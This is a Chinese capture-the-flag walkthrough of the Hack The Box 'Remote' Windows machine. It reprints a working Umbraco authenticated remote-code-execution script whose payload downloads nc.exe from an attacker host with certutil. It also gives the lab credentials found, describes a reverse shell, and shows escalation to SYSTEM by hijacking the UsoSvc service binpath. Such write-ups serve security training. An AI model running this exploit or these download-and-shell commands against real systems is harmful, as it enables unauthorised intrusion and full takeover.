Hack The Box——Remote

目錄

簡介

信息收集

漏洞發現

漏洞利用

權限提升

總結


簡介

這是一個簡單的Windows Server 2019靶機,要成功獲得SYSTEM權限需要不懈的嘗試。通過瀏覽Web站點發現Umbraco CMS登錄入口,然後在2049端口發現NFS服務並發現共享文件夾,在共享文件夾中發現了Umbraco CMS的版本信息、用戶名和密碼,然後可以登錄CMS系統,利用已知的遠程代碼執行漏洞反彈Shell,通過枚舉運行的服務發現不安全的服務權限,最後通過修改服務調用的程序獲得SYSTEM權限。

信息收集

使用Nmap掃描目標主機發現目標主機開啓21,80,111,135,139和445端口,且操作系統極有可能是Windows Server 2012,如圖:

嘗試使用匿名用戶登錄ftp成功,如圖:

但是沒發現任何文件,訪問80端口發現網站中有一些博客,如圖:

查看網站的同時掃描web目錄,發現一些aspx文件,如圖:

然而並沒用什麼有用的信息,然後繼續瀏覽網站其他功能,點擊CONTACT按鈕後發現一個Umbraco Forms安裝的界面,如圖:

點擊按鈕之後跳轉到了登錄頁面,如圖:

嘗試常見弱口令無法登錄成功,枚舉用戶名和密碼也沒成功。使用Google搜索該CMS發現存在用戶名枚舉、文件上傳、遠程代碼執行和文件包含等漏洞,但需要知道用戶名和密碼。然後查看Nmap掃描結果發現111端口掛載了NFS服務,使用showmount查看目標主機NFS共享的文件夾,發現存在everyone可訪問的/site_backups文件夾,然後將其掛載到本地,如圖:

查看site_backups文件夾中的信息,查看Web.conf文件發現Umbraco版本信息、使用的數據庫信息和smtp的用戶名和密碼,如圖:

在/site_backups/App_Data下發現Umbraco.sdf文件,SqlServerCe文件,複製到Windows環境中使用CompactView等工具查看無果。然後在site_backups/App_Data/Logs下的UmbracoTraceLog.intranet.txt中發現兩個用戶成功登錄,如圖:

然後在UmbracoTraceLog.intranet.txt.2020-02-19中再次發現版本信息,如圖:

直接使用記事本打開Umbraco.sdf文件,查找[email protected][email protected],發現有字符串疑似經過SHA1和HMACSHA256算法生成的hash值,如圖:

使用在線MD5解密,如圖:

然後使用[email protected]和baconandcheese登錄Umbraco CMS,如圖:

漏洞發現

從前面收集到的信息可以發現可以利用遠程代碼執行漏洞,需要修改payload替換calc.exe爲cmd.exe,添加程序參數爲/c wget http://10.10.14.216/nc.exe c:\windows\temp\nc.exe,然而並未執行成功,使用curl、certutil也都未成功。嘗試手工驗證漏洞是否存在,訪問http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx,如圖:

點擊綠色按鈕,用BurpSuite截取數據包,添加參數ctl00$body$xsltSelection的值爲修改後的payload,添加Console.WriteLine(output)將執行後的結果輸出到網頁中,如圖:

執行之後成功返回執行的結果,如圖:

看來漏洞是存在的。

漏洞利用

然後修改Exp如下:

# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/A


import requests;

from bs4 import BeautifulSoup;

def print_dict(dico):
    print(dico.items());
    
print("Start");

# Execute a calc for the PoC
payload = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml()
{ string cmd = "/c certutil -urlcache -split -f http://10.10.14.216/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();
 proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; 
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); } 
 </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
 </xsl:template> 
</xsl:stylesheet> """;

login = "[email protected]";
password="baconandcheese";
host = "http://10.10.10.180";

# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);

# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);

# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);

soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};

# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);
soup = BeautifulSoup(r4.text, 'html.parser');
print(soup.find(id="result"))
print("End");

使用python3開啓80端口的監聽,運行腳本後命令執行成功,成功將nc.exe上傳到目標主機c:\windows\temp下,如圖:

然後在本地開啓4444端口監聽,修改payload中的參數,如圖:

執行腳本之後成功獲得反彈的Shell,如圖:

權限提升

查看操作系統信息發現是Windows Server 2019 x64,且安裝了5個補丁,暫且不考慮內核漏洞提權了,如圖:

然後查看當前用戶的權限,如圖 

由於JuicyPotato沒有Windows Server 2019的CLSID,因此無法利用其提權。使用wmic service where started=true get name, startname查看啓動的服務,如圖:

然後使用sc命令枚舉存在缺陷的服務,發現UsoSvc服務可以被當前用戶控制,嘗試修改binpath屬性的值爲反彈Shell的腳本,然後啓動服務發生錯誤,如圖:

嘗試直接調用nc.exe進行反彈Shell發現成功啓動服務依舊出現錯誤,但反彈Shell的命令被執行之後立即中斷了,如圖:

然後使用MSF生成反彈Shell的exe文件,如圖:

上傳執行之後依舊報錯,但監聽的端口成功獲得SYSTEM權限的Shell,如圖:

總結

總的來說該靶機非常簡單,但依舊會花費很多時間,也可能會在一些地方找不到思路。首先,有些人可能容易找不到CMS系統的用戶名和密碼,讀取sdf文件的數據花了點時間,沒想到可以使用最簡單的方法查看到文件中有效的內容。其次就是提權需要大量枚舉,一定要堅持下去。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章